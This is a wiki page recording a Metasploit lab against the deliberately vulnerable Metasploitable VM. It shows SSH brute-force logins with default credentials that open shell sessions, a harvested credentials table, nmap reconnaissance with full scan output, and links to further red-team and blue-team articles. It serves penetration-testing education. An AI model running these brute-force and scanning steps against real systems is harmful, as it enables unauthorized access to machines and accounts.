[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 1 opened (10.0.0.5:45812 -> 10.0.0.27:22) at 2016-03-26 17:23:11 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) >

More Credentials

Run each of the other credentials we found. Everything goes ok, up until the last one, username klog 


msf auxiliary(ssh_login) > set USERNAME user
USERNAME => user
msf auxiliary(ssh_login) > set PASSWORD user
PASSWORD => user
msf auxiliary(ssh_login) > run

[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'user:user' 'uid=1001(user) gid=1001(user) groups=1001(user) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 2 opened (10.0.0.5:50289 -> 10.0.0.27:22) at 2016-03-26 17:25:16 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > set USERNAME postgres
USERNAME => postgres
msf auxiliary(ssh_login) > set PASSWORD postgres
PASSWORD => postgres
msf auxiliary(ssh_login) > run

[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'postgres:postgres' 'uid=108(postgres) gid=117(postgres) groups=114(ssl-cert),117(postgres) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 3 opened (10.0.0.5:57606 -> 10.0.0.27:22) at 2016-03-26 17:25:25 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > set USERNAME service
USERNAME => service
msf auxiliary(ssh_login) > set PASSWORD service
PASSWORD => service
msf auxiliary(ssh_login) > run

[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'service:service' 'uid=1002(service) gid=1002(service) groups=1002(service) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 4 opened (10.0.0.5:52395 -> 10.0.0.27:22) at 2016-03-26 17:25:36 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > set USERNAME sys
USERNAME => sys
msf auxiliary(ssh_login) > set PASSWORD batman
PASSWORD => batman
msf auxiliary(ssh_login) > run

[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'sys:batman' 'uid=3(sys) gid=3(sys) groups=3(sys) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '
[*] Command shell session 5 opened (10.0.0.5:34297 -> 10.0.0.27:22) at 2016-03-26 17:25:56 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ssh_login) > set USERNAME klog
USERNAME => klog
msf auxiliary(ssh_login) > set PASSWORD 123456789
PASSWORD => 123456789
msf auxiliary(ssh_login) > run

[*] 10.0.0.27:22 SSH - Starting bruteforce
[+] 10.0.0.27:22 SSH - Success: 'klog:123456789' 'Could not chdir to home directory /home/klog: No such file or directory Could not chdir to home directory /home/klog: No such file or directory '
[*] Command shell session 6 opened (10.0.0.5:47907 -> 10.0.0.27:22) at 2016-03-26 17:26:08 -0700
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
[*] 10.0.0.27 - Command shell session 6 closed.  Reason: Died from EOFError
msf auxiliary(ssh_login) >

That message tells us that the klog user doesn't have a home directory: 

[+] 10.0.0.27:22 SSH - Success: 'klog:123456789' 'Could not chdir to home directory /home/klog: No such file or directory Could not chdir to home directory /home/klog: No such file or directory '

Seeing the Creds

Once you've got some creds: 

msf auxiliary(ssh_login) > creds

Credentials
===========

host       origin     service       public    private    realm  private_type
----       ------     -------       ------    -------    -----  ------------
10.0.0.27  10.0.0.27  22/tcp (ssh)  msfadmin  msfadmin          Password
10.0.0.27  10.0.0.27  22/tcp (ssh)  user      user              Password
10.0.0.27  10.0.0.27  22/tcp (ssh)  postgres  postgres          Password
10.0.0.27  10.0.0.27  22/tcp (ssh)  service   service           Password
10.0.0.27  10.0.0.27  22/tcp (ssh)  sys       batman            Password
10.0.0.27  10.0.0.27  22/tcp (ssh)  klog      123456789         Password

Next step is getting some loot.

Usage Example: Metasploitable Virtual Box

Main page for Metasploitable virtual box: Metasploitable

As an example of how we can use metasploit, we'll be looking at the Metasploitable virtual box.

Setting Up Metasploitable

Downloaded virtual disk image, loaded it up in a 64-bit Linux virtualbox instance.

The networking configuration was, I had the VirtualBox instance running on a Mac, and was attacking from a machine running Kali Linux. Both computers were on a private network and o n the same subnet.

From VirtualBox, I created a bridged network adapter (meaning, VirtualBox can send/receive messages directly through that interface). Next, I flipped the switch on the VirtualBox, and away we went. The router automatically assigned an IP address to the Metasploitable VirtualBox.


Recon

Let's take a few first steps in Metasploit, using the Metasploitable virtual box.

Make a record-keeping box for stuff: 

$ mkdir -p box/metasploitable

Start by using nmap to scan the host.

First a fast scan -F: 

$ nmap -F 10.0.0.*

Then we can do a more extensive scan: 

$ nmap -sS 10.0.0.*

This reveals the IP address of the VirtualBox, which is 10.0.0.27.

We can also do a deeper scan: 

$ nmap -sS -sV -A 10.0.0.27

This will reveal an array of services, some of which may be exploitable using metasploit.

Sure enough, the verbose scan returns lots of good information: 

$ nmap -sS -sV -A 10.0.0.27

Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-22 18:30 PDT
Nmap scan report for 10.0.0.27
Host is up (0.016s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey: 
|   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, 
| ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
| Not valid before: 2010-03-17T14:07:45
|_Not valid after:  2010-04-16T14:07:45
|_ssl-date: 2016-03-23T01:31:31+00:00; +33s from scanner time.
53/tcp   open  domain      ISC BIND 9.4.2
| dns-nsid: 
|_  bind.version: 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
111/tcp  open  rpcbind     2 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2            111/tcp  rpcbind
|   100000  2            111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      42810/tcp  mountd
|   100005  1,2,3      45599/udp  mountd
|   100021  1,3,4      34385/tcp  nlockmgr
|   100021  1,3,4      60702/udp  nlockmgr
|   100024  1          38085/udp  status
|_  100024  1          52004/tcp  status
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    Java RMI Registry
1524/tcp open  shell       Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 53
|   Version: .0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, SupportsTransactions, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, ConnectWithDatabase, LongColumnFlag, SupportsCompression
|   Status: Autocommit
|_  Salt: w$K,8vk7k8tagd@PR*zK
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
| vnc-info: 
|   Protocol version: 3.3
|   Security types: 
|_    Unknown security type (33554432)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         Unreal ircd
| irc-info: 
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|   server: irc.Metasploitable.LAN
|   version: Unreal3.2.8.1. irc.Metasploitable.LAN 
|   uptime: 0 days, 1:05:20
|   source ident: nmap
|   source host: 6D4CD63B.D3975B40.7B559A54.IP
|_  error: Closing Link: cxfhgnbdt[10.0.0.25] (Quit: cxfhgnbdt)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-favicon: Apache Tomcat
|_http-server-header: Apache-Coyote/1.1
|_http-title: Apache Tomcat/5.5
MAC Address: 08:00:27:47:98:AD (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Unix (Samba 3.0.20-Debian)
|   NetBIOS computer name: 
|   Workgroup: WORKGROUP
|_  System time: 2016-03-22T21:31:31-04:00

TRACEROUTE
HOP RTT      ADDRESS
1   16.11 ms 10.0.0.27

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 27.31 seconds

MySQL

Let's focus on the MySQL service: 

3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
| mysql-info: 
|   Protocol: 53
|   Version: .0.51a-3ubuntu5
|   Thread ID: 8
|   Capabilities flags: 43564
|   Some Capabilities: Support41Auth, SupportsTransactions, Speaks41ProtocolNew, SwitchToSSLAfterHandshake, ConnectWithDatabase, LongColumnFlag, SupportsCompression
|   Status: Autocommit
|_  Salt: w$K,8vk7k8tagd@PR*zK

We can brute-force MySQL, then use it to access files on the remote machine.

More info at Metasploitable/MySQL.

Wrapping Up and Moving On

After the nmap scan of the Metasploitable virtual box, we saw many services running, exposing this server's soft underbelly.

We began with MySQL. We were able to use Metasploit to brute-force the MySQL login. This was pretty trivial, since the password was blank.

Now that we've compromised the MySQL database, we've seen that there are several web services running - two instances of TikiWiki, an instance of Damn Vulnerable Web App, and information from/about owasp. The MySQL database gave us plenty of new attack vectors to dive into.

Flags


Defcon.png
Metasploit
any and all resources related to metasploit on this wiki


MSF - on the metasploit framework generally

Category:Metasploit - pages labeled with the "Metasploit" category label

MSF/Wordlists - wordlists that come bundled with Metasploit

MSFVenom - msfvenom is used to craft payloads

Meterpreter - the shell you'll have when you use MSF to craft a remote shell payload.


Category:Security  · Category:Metasploit  · Category:Kali


Flags  · Template:MetasploitFlag  · e





Defcon.png
Metasploitable: The Red Team
Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. This set of articles discusses the RED TEAM's tools and routes of attack.


Metasploitable Databases:

Exploiting MySQL with Metasploit: Metasploitable/MySQL

Exploiting PostgreSQL with Metasploit: Metasploitable/Postgres


Metasploitable Networking:

Exploiting VSFTP Backdoor: Metasploitable/VSFTP

SSH Penetration by Brute Force: Metasploitable/SSH/Brute Force

SSH Penetration with Keys: Metasploitable/SSH/Keys

SSH Penetration with Metasploit: Metasploitable/SSH/Exploits

Brute-Forcing /etc/shadow File: Metasploitable/John Shadow File

Exploiting NFS: Metasploitable/NFS

Exploiting DNS Bind Server: Metasploitable/DNS Bind


Metasploitable Services:

distcc: Metasploitable/distcc


Metasploitable Apache:

Exploiting Apache (with Metasploit): Metasploitable/Apache

Exploiting Apache (with Python): Metasploitable/Apache/Python

Tor's Hammer DoS Attack: Metasploitable/TorsHammer *

Apache DAV: Metasploitable/Apache/DAV *

Apache Tomcat and Coyote: Metasploitable/Apache/Tomcat and Coyote


Metasploitable Memory:

General approach to memory-based attacks: Metasploitable/Memory

Investigating memory data: Metasploitable/Volatile Data Investigation

Dumping Memory from Metasploit: Metasploitable/Dumping Memory


Metasploitable Fuzzing:

(Have not done much work on fuzzing Metasploitable...)

Fuzzing  · American Fuzzy Lop


Category:Security  · Category:Metasploit  · Category:Metasploitable  · Category:Kali


Flags  · Template:MetasploitableRedTeamFlag  · e




Defcon.png
Metasploitablue: The Blue Team
Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. This set of articles discusses the BLUE TEAM's methods for defending Metasploitable: defending against and responding to intrusions.

Hence the name, Metasploita-blue.

Overview: Metasploitable/Defenses

Metasploitable/Defenses/Stopping  · Metasploitable/Defenses/Detecting


Metasploitable On-Machine Defenses:

Linux Volatile Data System Investigation: Metasploitable/Volatile Data Investigation

Linux Artifact Investigation: Metasploitable/Artifact Investigation

Linux Iptables Essentials: Metasploitable/Iptables

Firewall Assurance and Testing: Metasploitable/Firewall

Password Assessment: Metasploitable/Password Assessment

Standard Unix Ports: Unix/Ports


Metasploitable Networking Defenses:

Netcat and Cryptcat (Blue Team): Metasploitable/Netcat and Metasploitable/Cryptcat

Nmap (Blue Team): Metasploitable/Nmap

Network Traffic Analysis: Metasploitable/Network Traffic Analysis

Suspicious Traffic Patterns: Metasploitable/Suspicious Traffic Patterns

Snort IDS: Metasploitable/Snort


Category:Security  · Category:Metasploit  · Category:Metasploitable  · Category:Kali


Flags  · Template:MetasploitableBlueTeamFlag  · e




Defcon.png
Kali Linux
"The quieter you become, the more you are able to hear."

Penetration testing Linux distribution.


Kali  · Category:Kali

Kali/Wireless Reboot


Kali Software:

Kali Tools

Kali Top 10

Aircrack  · Wireshark  · John the Ripper  · Nmap  · Metasploit Framework

Dsniff  · Tcpdump  · Hydra  · Sqlmap  · Burpsuite  · Commix

Dirbuster  · Valgrind


Attack Workflow:

Kali/Workflow

1 Physical Attacks: Kali/Layer 1 Attacks

2 Data/MAC Attacks: Kali/Layer 2 Attacks

3 Network Attacks: Kali/Layer 3 Attacks

4 Transport Attacks: Kali/Layer 4 Attacks

5 Session Attacks: Kali/Layer 5 Attacks

6 Presentation Attacks: Kali/Layer 6 Attacks

7 Application Attacks: Kali/Layer 7 Attacks


Red Team Blue Team

Metasploitable - Red Team

Metasploitable - Blue Team


Networking:

Kali/Hotspot  · Kali/OpenVPN  · Kali/OpenVPN/Hotspot  · Kali/OpenVPN/PIA

Kali/IPv6


Booting:

Kali/Dual Boot OS X  · Kali/Live USB  · Kali/Persistent USB


Installing:

Kali/Installing  · Kali/Post Install  · Kali/Fixes


Kali on Raspberry Pi:

Kali Raspberry Pi  · Kali Raspberry Pi/Installing  · Kali Raspberry Pi/Headless  · Kali Raspberry Pi/Post-Install


Category:Security  · Category:Wireless  · Category:Passwords  · Category:Man in the Middle  · Category:Evil Twin

Flags  · Template:KaliFlag  · e




Retrieved from "https://charlesreid1.com/w/index.php?title=MSF&oldid=25426"